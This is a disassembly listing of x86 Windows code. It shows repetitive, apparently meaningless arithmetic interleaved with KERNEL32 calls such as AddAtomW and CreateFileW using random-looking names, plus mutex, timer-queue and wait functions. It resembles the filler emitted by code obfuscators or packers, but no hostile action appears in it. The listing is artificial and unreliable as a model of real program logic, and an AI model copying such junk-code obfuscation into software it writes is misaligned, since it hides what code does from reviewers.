mov ecx, dword [ebp - 0x41fc]
mov edx, dword [ecx]
or edx, dword [ebp - 0x41c8]
mov dword [ebp - 0x2b74], edx
mov eax, dword [ebp - 0x45ac]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x277]
shl edx, cl
mov byte [0x100b728f], dl
movsx eax, byte [ebp - 0x285]
movsx ecx, byte [ebp - 0xdc]
sar eax, cl
mov ecx, dword [ebp - 0x3f28]
mov byte [ecx], al
mov edx, dword [ebp - 0x4040]
mov eax, dword [edx]
mov dword [ebp - 0x469c], eax
mov ecx, dword [0x100b9ba8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8a8]
add edx, eax
mov ecx, dword [0x100b9830]
mov word [ecx], dx
lea edx, [ebp - 0x5dc]
mov dword [ebp - 0x46a0], edx
mov eax, dword [ebp - 0x39c8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4430]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x1148], cx
mov ecx, dword [0x100ba564]
mov dl, byte [ecx]
mov byte [0x100b82be], dl
mov eax, dword [ebp - 0x41c8]
mov dword [ebp - 0x46a4], eax
mov ecx, dword [ebp - 0x450c]
mov edx, dword [ebp - 0x3f60]
imul edx, dword [ecx]
mov dword [ebp - 0x2ac8], edx
push str.pUn4_Th20Gb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15a8], ax
push 0
push 4
push 5
push 0
push 1
push 0x80000000
push str.R64vy_bR7PoNTGu
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100badb4], eax
mov eax, dword [0x100ba358]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3978]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100bacac]
mov byte [edx], cl
mov dword [ebp - 0x46a8], 0x100b7380
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100badb8], eax
movsx eax, word [0x100b95ec]
movsx ecx, word [ebp - 0xe98]
add eax, ecx
mov edx, dword [ebp - 0x4690]
mov word [edx], ax
movsx eax, byte [0x100b7166]
movsx ecx, byte [ebp - 0x1be]
sub eax, ecx
mov byte [0x100b719a], al
mov edx, dword [ebp - 0x3884]
movzx eax, byte [edx]
mov ecx, dword [0x100ba394]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x44fc]
mov byte [ecx], al
push 0
push 0x32c1
push 0x3f8f
push 0x67
push 1
mov edx, dword [ebp - 0x4620]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba224], eax
push 1
push 0x100ba3e0
mov eax, dword [0x100badc4]
push eax
mov ecx, dword [0x100badc0]
push ecx
mov edx, dword [ebp - 0x3d78]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x46ac], eax
lea eax, [ebp - 0x4004]
mov dword [ebp - 0x46b0], eax
mov dword [0x100badbc], 0x100b72b8
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x46b4], ecx
movzx edx, word [ebp - 0x1290]
movzx ecx, word [ebp - 0x11f8]
shl edx, cl
mov word [ebp - 0x108c], dx
movsx eax, word [ebp - 0xdfc]
mov ecx, dword [ebp - 0x3988]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x100ba788]
mov word [edx], ax
lea eax, [ebp - 0x268]
mov dword [ebp - 0x46b8], eax
mov ecx, dword [ebp - 0x44f4]
mov edx, dword [ebp - 0x3160]
and edx, dword [ecx]
mov eax, dword [ebp - 0x43a0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3a60]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx edx, word [0x100b72dc]
mov eax, dword [ebp - 0x3b6c]
movzx ecx, word [eax]
xor edx, ecx
mov word [0x100b73a8], dx
mov edx, dword [0x100ba304]
mov eax, dword [ebp - 0x350c]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [ebp - 0x3cf4], ecx
push 2
lea edx, [ebp - 0x980c]
push edx
mov eax, dword [0x100ba654]
push eax
mov ecx, dword [0x100ba650]
push ecx
mov edx, dword [0x100b9b0c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x46bc], eax
movsx eax, byte [ebp - 0x2c]
mov ecx, dword [ebp - 0x4338]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x116], al
push str.5jIPEs_2e7xs
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15ac], ax
lea eax, [ebp - 0x698]
mov dword [0x100badc8], eax
lea ecx, [ebp - 0x63]
mov dword [ebp - 0x46c0], ecx
mov edx, dword [ebp - 0x44f4]
mov eax, dword [ebp - 0x3ae0]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x3a64]
mov dword [eax], edx
movsx edx, byte [ebp - 0x1b9]
mov eax, dword [ebp - 0x3a90]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b9ff8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3868]
mov ax, word [edx]
mov word [ebp - 0x15b0], ax
mov ecx, dword [ebp - 0x3d14]
movzx edx, word [ecx]
mov eax, dword [0x100ba530]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x1598], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100badcc], eax
push 0x100b9de4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push str.Ac_Inhz9lFt_ZI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x11ec], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100badd0], eax
mov edx, dword [ebp - 0x2bf4]
mov dword [0x100badd4], edx
mov eax, dword [0x100bac9c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14c0]
xor ecx, edx
mov eax, dword [ebp - 0x4470]
mov word [eax], cx
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3f84]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x217], dl
push str.DV481N
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15b4], ax
mov edx, dword [0x100ba7d0]
mov eax, dword [edx]
and eax, dword [ebp - 0x2c60]
mov ecx, dword [0x100ba234]
mov dword [ecx], eax
mov dl, byte [ebp - 0x2b0]
mov byte [ebp - 0x2df], dl
push 0
push 4
push 5
push 0
push 8
push 0x40000000
push str.j7SsztB_t5KkEEF9zC
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100badd8], eax
movzx eax, word [ebp - 0x11cc]
mov ecx, dword [ebp - 0x3d58]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0x10b8], ax
movzx edx, word [ebp - 0x13d0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15b8], ax
movzx eax, word [ebp - 0x61c]
movzx ecx, word [0x100b99e8]
xor eax, ecx
mov word [0x100b73ac], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9950], eax
push str.U56WP2_pb6Ta3Ru7QFN
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100baddc], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x393c], eax
movsx edx, byte [ebp - 0x2a7]
mov eax, dword [ebp - 0x3c10]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x3d48]
mov byte [eax], dl
movzx ecx, word [0x100bac34]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15bc], ax
mov edx, dword [0x100ba28c]
mov ecx, dword [ebp - 0x2cc0]
shl edx, cl
mov dword [0x100ba614], edx
mov eax, dword [0x100b9880]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4348]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0xe20], cx
mov cl, byte [0x100b8266]
mov byte [ebp - 0x2e0], cl
mov edx, dword [ebp - 0x37b0]
mov dword [0x100bade0], edx
lea eax, [ebp - 0x9e98]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [0x100b9b9c]
mov edx, dword [ebp - 0x444c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3c60]
mov word [edx], cx
mov eax, dword [ebp - 0x3a14]
mov ecx, dword [0x100b72f8]
and ecx, dword [eax]
mov dword [ebp - 0x2a6c], ecx
mov edx, dword [0x100b971c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1550]
imul eax, ecx
mov word [0x100b7304], ax
mov edx, dword [ebp - 0x377c]
mov eax, dword [edx]
xor eax, dword [ebp - 0x4544]
mov dword [ebp - 0x34c0], eax
movzx edx, byte [0x100b7e57]
mov eax, dword [0x100bab6c]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4414]
mov byte [ecx], dl
lea edx, [ebp - 0x2b6]
mov dword [0x100bade4], edx
mov eax, dword [ebp - 0x3984]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x144], dl
mov dword [ebp - 0x46c4], 0x100ba6c8
push 0x1cb7
push 0
push 0x100b98dc
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bade8], eax
mov ecx, dword [ebp - 0x387c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x192]
add edx, eax
mov ecx, dword [0x100b9988]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x33c8], eax
push 0
push 0x3784
push 0x28a7
push 0xd3
mov edx, dword [0x100ba22c]
push edx
call dword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [ebp - 0x46c8], eax
push str.ZosINiu_Q1NB58_IldRLR_SZ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100badec], ax
mov eax, dword [ebp - 0x4148]
movsx ecx, word [eax]
mov edx, dword [0x100badc8]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x4138]
mov word [edx], cx
movzx eax, word [ebp - 0x6a0]
movzx ecx, word [0x100b7374]
or eax, ecx
mov edx, dword [ebp - 0x3d58]
mov word [edx], ax
mov eax, dword [0x100ba668]
mov ecx, dword [ebp - 0x46a4]
xor ecx, dword [eax]
mov dword [0x100b73b0], ecx
lea edx, [ebp - 0x22d]
mov dword [ebp - 0x46cc], edx
push 0x2298
push 0
lea eax, [ebp - 0x3b9c]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x46d0], eax
mov ecx, dword [ebp - 0x39e8]
mov edx, dword [ecx]
mov dword [ebp - 0x46d4], edx
movzx eax, byte [ebp - 0x2b]
mov ecx, dword [ebp - 0x33e4]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7fd3], al
movzx eax, word [ebp - 0x13c0]
cdq
mov ecx, 0xdaf
idiv ecx
mov word [ebp - 0x59c], ax
lea edx, [ebp - 0xe20]
mov dword [ebp - 0x46d8], edx
movsx eax, byte [0x100b71f6]
mov ecx, dword [ebp - 0x371c]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100ba198]
mov byte [ecx], al
mov edx, dword [0x100ba530]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1244]
and eax, ecx
mov word [ebp - 0x1158], ax
push 1
lea edx, [ebp - 0x9824]
push edx
mov eax, dword [ebp - 0x9898]
push eax
mov ecx, dword [ebp - 0x989c]
push ecx
mov edx, dword [0x100babe4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100badf0], eax
push str.6np0p.IDeUZ1MmFo7MlP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bac84], ax
mov eax, dword [ebp - 0x42bc]
mov dword [ebp - 0x46dc], eax
lea ecx, [ebp - 0x9ec8]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x100badf4], 0x100b7318
movzx edx, byte [ebp - 0x91]
movzx eax, byte [ebp - 0x2bf]
sub edx, eax
mov byte [ebp - 0x4d], dl
push str.CaNSvnH_QyNeDnIoi4pOe
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100badf8], ax
movsx edx, word [0x100ba4e0]
movsx ecx, word [ebp - 0x14ec]
shl edx, cl
mov word [ebp - 0x85c], dx
mov eax, dword [ebp - 0x3b00]
movsx ecx, byte [eax]
movsx edx, byte [0x100b8233]
or ecx, edx
mov eax, dword [0x100ba7a8]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x46e0], eax
movzx edx, word [ebp - 0x14bc]
mov eax, dword [ebp - 0x3b60]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x1020], dx
lea ecx, [ebp - 0x2bb4]
mov dword [ebp - 0x46e4], ecx
mov edx, dword [ebp - 0x402c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2c7c]
mov dword [0x100b73b4], eax
mov ecx, dword [ebp - 0x334c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2c8]
and edx, eax
mov byte [ebp - 0x277], dl
lea ecx, [ebp - 0x2dd]
mov dword [ebp - 0x46e8], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e44], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4308], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100badfc], eax
mov edx, dword [ebp - 0x3ecc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1140]
xor eax, ecx
mov word [0x100b72a0], ax
movzx edx, word [ebp - 0x127c]
movzx ecx, word [ebp - 0x1324]
shl edx, cl
mov eax, dword [ebp - 0x44cc]
mov word [eax], dx
lea ecx, [ebp - 0x2ad0]
mov dword [ebp - 0x46ec], ecx
mov edx, dword [ebp - 0x40f4]
mov al, byte [edx]
mov byte [0x100b82bf], al
movzx ecx, byte [ebp - 0xba]
movzx edx, byte [ebp - 0x131]
xor ecx, edx
mov byte [ebp - 0x284], cl
mov eax, dword [0x100b73b4]
add eax, dword [ebp - 0x3a88]
mov ecx, dword [ebp - 0x437c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3814]
movzx eax, word [edx]
movzx ecx, word [0x100ba38c]
sar eax, cl
mov word [0x100b72dc], ax
movsx ecx, word [ebp - 0x884]
mov edx, dword [ebp - 0x37a0]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0xc68], cx
push 0x100bae00
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, dword [ebp - 0x3b78]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3780]
mov eax, dword [ebp - 0x3dfc]
mov dword [eax], edx
push 0
push 0x100
push 5
push 0
push 2
push 0x80000000
push str.pnVtq6hO3cI_r0KOVW6XTXI
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x46f0], eax
mov ecx, dword [ebp - 0x3f24]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea edx, [ebp - 0x2b8]
mov dword [0x100bae18], edx
mov al, byte [ebp - 0x2c6]
mov byte [ebp - 0x2e1], al
mov dword [ebp - 0x46f4], 0x100b71d4
lea ecx, [ebp - 0xc04]
mov dword [0x100bae1c], ecx
imul edx, dword [ebp - 0x2e08], 0x3933
mov dword [ebp - 0x3028], edx
mov ax, word [ebp - 0x600]
mov word [ebp - 0x15c0], ax
mov ecx, dword [0x100ba818]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
push 0x400
push 0
push 0
push 2
push 0x40000000
push str.FhZ_n3RxF9mO5O
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bae20], eax
mov edx, dword [0x100badf4]
mov eax, dword [ebp - 0x3958]
xor eax, dword [edx]
mov ecx, dword [0x100babd0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x45f4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x116], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x46f8], eax
mov dword [0x100bae24], 0x100b7f3f
lea eax, [ebp - 0x1404]
mov dword [ebp - 0x46fc], eax
mov edx, dword [0x100ba664]
mov ecx, dword [ebp - 0x36b0]
shl edx, cl
mov dword [ebp - 0x46d4], edx
mov eax, dword [ebp - 0x33fc]
mov ecx, dword [ebp - 0x3a88]
add ecx, dword [eax]
mov dword [0x100ba900], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9f30], eax
mov edx, dword [0x100b9bac]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x5c4]
sar eax, cl
mov ecx, dword [ebp - 0x3e20]
mov word [ecx], ax
movsx edx, byte [ebp - 0x2ae]
movsx eax, byte [ebp - 0x1be]
and edx, eax
mov byte [ebp - 0x153], dl
lea ecx, [ebp - 0x2cc]
mov dword [0x100bae28], ecx
movzx edx, word [ebp - 0x133c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x15c4], ax
push str.X80r_lMP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bae2c], ax
mov eax, dword [ebp - 0x42f0]
movsx ecx, byte [eax]
movsx edx, byte [0x100b721e]
or ecx, edx
mov byte [ebp - 0x1c9], cl
lea eax, [ebp - 0x32fc]
mov dword [ebp - 0x4700], eax
mov ecx, dword [ebp - 0x3918]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x6a0]
xor edx, eax
mov ecx, dword [0x100ba6e4]
mov word [ecx], dx
lea edx, [ebp - 0x1544]
mov dword [ebp - 0x4704], edx
mov eax, dword [ebp - 0x4318]
mov eax, dword [eax]
xor edx, edx
div dword [ebp - 0x2f98]
mov dword [ebp - 0x3324], eax
movzx ecx, byte [ebp - 0xba]
movzx edx, byte [0x100b824b]
add ecx, edx
mov eax, dword [0x100ba0bc]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba594], eax
mov ecx, dword [0x100b98b8]
mov dl, byte [ecx]
mov byte [ebp - 0x2e2], dl
mov eax, dword [ebp - 0x3f54]
mov ecx, dword [0x100ba868]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x3630]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3dac]
mov dx, word [ecx]
mov word [0x100bae30], dx
movzx eax, word [ebp - 0x157c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bae34], ax
mov ecx, dword [ebp - 0x3f0c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xe20]
and edx, eax
mov ecx, dword [ebp - 0x3d80]
mov word [ecx], dx
mov edx, dword [ebp - 0x4014]
movzx eax, word [edx]
movzx ecx, word [0x100ba5c4]
sar eax, cl
mov word [ebp - 0x538], ax
lea ecx, [ebp - 0x19]
mov dword [0x100bae38], ecx
mov edx, dword [ebp - 0x30c0]
xor edx, dword [ebp - 0x2ee0]
mov dword [ebp - 0x3634], edx
mov eax, dword [ebp - 0x36e0]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x46e4]
mov edx, dword [ecx]
mov dword [ebp - 0x4708], edx
movsx eax, byte [ebp - 0x2d7]
movsx ecx, byte [ebp - 0x2df]
add eax, ecx
mov byte [0x100b71f7], al
mov dword [ebp - 0x470c], 0x100b7348
mov edx, dword [0x100b99bc]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [ebp - 0x1574]
movsx ecx, word [ebp - 0x1180]
or eax, ecx
mov edx, dword [ebp - 0x36ac]
mov word [edx], ax
lea eax, [ebp - 0x2ab]
mov dword [0x100bae3c], eax
movzx ecx, byte [ebp - 0x256]
movzx edx, byte [ebp - 0x2ce]
and ecx, edx
mov eax, dword [ebp - 0x45ec]
mov byte [eax], cl
mov ecx, dword [0x100b9d54]
mov edx, dword [ebp - 0x4498]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2f28], eax
mov edx, dword [ebp - 0x32fc]
mov ecx, dword [0x100b73a4]
shl edx, cl
mov eax, dword [0x100b972c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
mov eax, dword [0x100b9ec0]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x278], dl
mov ecx, dword [ebp - 0x35ec]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1098]
xor edx, eax
mov word [ebp - 0xf10], dx
mov ecx, dword [ebp - 0x3f94]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x85c]
add edx, eax
mov ecx, dword [0x100ba788]
mov word [ecx], dx
movzx edx, byte [0x100b7e57]
movzx eax, byte [ebp - 0x284]
and edx, eax
mov ecx, dword [ebp - 0x3d84]
mov byte [ecx], dl
lea edx, [ebp - 0x3ce8]
mov dword [ebp - 0x4710], edx
movzx eax, word [ebp - 0x1418]
imul ecx, eax, 0x761
mov word [0x100b73b8], cx
mov edx, dword [ebp - 0x346c]
mov eax, dword [edx]
mov dword [ebp - 0x4714], eax
movsx ecx, byte [0x100b7133]
movsx edx, byte [ebp - 0x27b]
or ecx, edx
mov eax, dword [ebp - 0x4624]
mov byte [eax], cl
mov ecx, dword [ebp - 0x411c]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x150c]
shl edx, cl
mov word [0x100b73bc], dx
lea eax, [ebp - 0x2b5]
mov dword [ebp - 0x4718], eax
mov edx, dword [ebp - 0x2b3c]
mov ecx, dword [0x100ba23c]
sar edx, cl
mov eax, dword [ebp - 0x3a40]
mov dword [eax], edx
lea ecx, [ebp - 0x9ee0]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bae40], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x43d8], eax
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2a9]
add eax, ecx
mov edx, dword [0x100baa04]
mov byte [edx], al
mov eax, dword [ebp - 0x3fbc]
mov cx, word [eax]
mov word [ebp - 0x15c8], cx
push str.Ga2a_U0htuHrU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15cc], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba6cc], eax
movzx edx, word [ebp - 0x13cc]
movzx eax, word [ebp - 0x9e8]
and edx, eax
mov word [ebp - 0x1478], dx
lea ecx, [ebp - 0x2c7c]
mov dword [0x100bae44], ecx
mov edx, dword [ebp - 0x3724]
movsx eax, word [edx]
movsx ecx, word [0x100b72e0]
xor eax, ecx
mov word [ebp - 0xd84], ax
movzx edx, byte [ebp - 0x238]
mov eax, dword [ebp - 0x3884]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x19], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d88], eax
mov edx, dword [0x100b94a4]
mov eax, dword [ebp - 0x3b90]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [0x100b7364], ecx
movsx edx, byte [ebp - 0x1f4]
mov eax, dword [0x100ba264]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x181], dl
push str.Bg5f3U_S75Ikh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bae48], ax
mov edx, dword [ebp - 0x3870]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3868]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3dec]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9a28], eax
movzx edx, word [ebp - 0x1148]
mov eax, dword [ebp - 0x43e0]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100b71e8], dx
movsx edx, byte [str.i3]
movsx ecx, byte [ebp - 0x264]
sar edx, cl
mov byte [ebp - 0x138], dl
push str.77R.o_B9cgkANIxDnkN
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x15d0], ax
mov eax, dword [ebp - 0x2f84]
mov dword [0x100bae4c], eax
mov ecx, dword [ebp - 0x4068]
mov dx, word [ecx]
mov word [ebp - 0x15d4], dx
push str.OeWYH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1488], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bae50], eax
movzx eax, byte [ebp - 0x2ba]
movzx ecx, byte [ebp - 0x256]
and eax, ecx
mov edx, dword [ebp - 0x3d84]
mov byte [edx], al
mov eax, dword [ebp - 0x3f44]
imul ecx, dword [eax], 0x4adf
mov dword [0x100b9ee8], ecx
mov dx, word [ebp - 0x14f0]
mov word [ebp - 0x15d8], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x471c], eax
mov eax, dword [ebp - 0x2e8c]
add eax, dword [ebp - 0x33b4]
mov dword [ebp - 0x2f30], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba994], eax
push 0
push 0x10
push 1
push 0
push 8
push 0x80000000
push str.2MF1BWMFaHhoV37SRFgkyOx4je0lIIT2d1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bae54], eax
mov ecx, dword [ebp - 0x451c]
movsx edx, word [ecx]
movsx eax, word [0x100b72a8]
and edx, eax
mov word [0x100b73c0], dx
lea ecx, [ebp - 0x468c]
mov dword [ebp - 0x4720], ecx
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2d8]
sar eax, cl
mov byte [ebp - 0x8d], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4724], eax
mov dword [0x100bae58], 0x100b71d2
lea ecx, [ebp - 0x1c9]
mov dword [ebp - 0x4728], ecx
push str.MN1_wF_AMUoMeAa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13f4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba274], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bae5c], eax
mov edx, dword [ebp - 0x3e68]
mov eax, dword [ebp - 0x3f74]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x3760]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x3e]
movzx eax, byte [ebp - 0x2ac]
or edx, eax
mov byte [0x100b8173], dl
mov ecx, dword [0x100b9938]
movsx edx, word [ecx]
mov eax, dword [0x100ba8bc]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xd64], dx
movzx edx, word [ebp - 0x834]
movzx eax, word [ebp - 0x13ac]
add edx, eax
mov ecx, dword [ebp - 0x40ac]
mov word [ecx], dx
mov edx, dword [ebp - 0x2f28]
mov dword [0x100bae60], edx
lea eax, [ebp - 0x1ab]
mov dword [ebp - 0x472c], eax
mov ecx, dword [ebp - 0x33b4]
mov dword [ebp - 0x4730], ecx
mov edx, dword [ebp - 0x3cfc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [0x100ba814]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4734], eax
movzx edx, word [ebp - 0x1334]
imul eax, edx, 0xa4f
mov ecx, dword [ebp - 0x43e0]
mov word [ecx], ax
movzx edx, word [ebp - 0x1208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba4f8], ax
movsx eax, word [ebp - 0x15d4]
mov ecx, dword [ebp - 0x4150]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xb9c], ax
mov edx, dword [ebp - 0x3f8c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4204]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100ba7d4]
mov byte [ecx], al
mov edx, dword [ebp - 0x40d0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3868]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4510]
mov word [ecx], ax
lea edx, [ebp - 0x3968]
mov dword [ebp - 0x4738], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x473c], eax
mov eax, dword [ebp - 0x32fc]
mov ecx, dword [ebp - 0x3bfc]
shl eax, cl
mov dword [0x100b73c4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bae64], eax
mov ecx, dword [ebp - 0x428c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4598]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x276], dl
movsx edx, word [ebp - 0x1140]
mov eax, dword [ebp - 0x418c]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x4470]
mov word [eax], dx
lea ecx, [ebp - 0x107]
mov dword [0x100bae68], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba628], eax
